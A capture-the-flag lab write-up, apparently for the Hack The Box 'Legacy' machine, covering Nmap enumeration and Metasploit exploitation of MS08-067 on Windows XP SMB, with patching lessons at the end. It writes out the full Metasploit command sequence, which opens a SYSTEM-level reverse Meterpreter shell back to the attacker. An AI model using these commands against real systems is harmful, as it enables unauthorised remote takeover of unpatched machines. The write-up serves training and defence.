Machine - Easy Windows - Legacy
IP 10.10.10.4
Contents
Tools
- NMap
- Metasploit
Enumeration
Start with a comprehensive Nmap scan to identify open ports and running services:
nmap -A 10.10.10.4
The -A flag enables OS detection, version detection, script scanning, and traceroute. The results show:
- Port 139 (netbios-ssn) — Samba on Windows XP
- Port 445 (microsoft-ds) — SMB file sharing
Both ports indicate this is a Windows machine running an old version of Windows XP with SMB exposed. The key finding is the operating system version — Windows XP is end-of-life and has dozens of known critical vulnerabilities.
Exploitation
Researching the SMB service version reveals it is vulnerable to MS08-067 (CVE-2008-4250), a critical remote code execution vulnerability in the Windows Server service. This vulnerability allows an attacker to execute arbitrary code on the target without authentication by sending a specially crafted RPC request.
Metasploit has a ready-made exploit module for this:
msfconsole
use exploit/windows/smb/ms08_067_netapi
set RHOSTS 10.10.10.4
set LHOST tun0
exploit
The exploit succeeds immediately, dropping us into a Meterpreter session as NT AUTHORITY\SYSTEM — the highest privilege level on Windows. No privilege escalation needed because the vulnerability directly grants SYSTEM access.
From the Meterpreter session, navigate to find both flags:
cat C:\Documents and Settings\administrator\Desktop\root.txt
cat C:\Documents and Settings\jerry\Desktop\user.txt
Lessons Learned
- Legacy systems are dangerous — Windows XP reached end-of-life in 2014. Running unpatched systems exposes critical vulnerabilities like MS08-067 that grant immediate root access.
- SMB exposure — Port 445 should never be exposed to untrusted networks. In production environments, restrict SMB access with firewalls and network segmentation.
- Patching matters — MS08-067 was patched by Microsoft in October 2008. Organizations that fail to apply critical patches remain vulnerable to attacks that have well-documented exploits.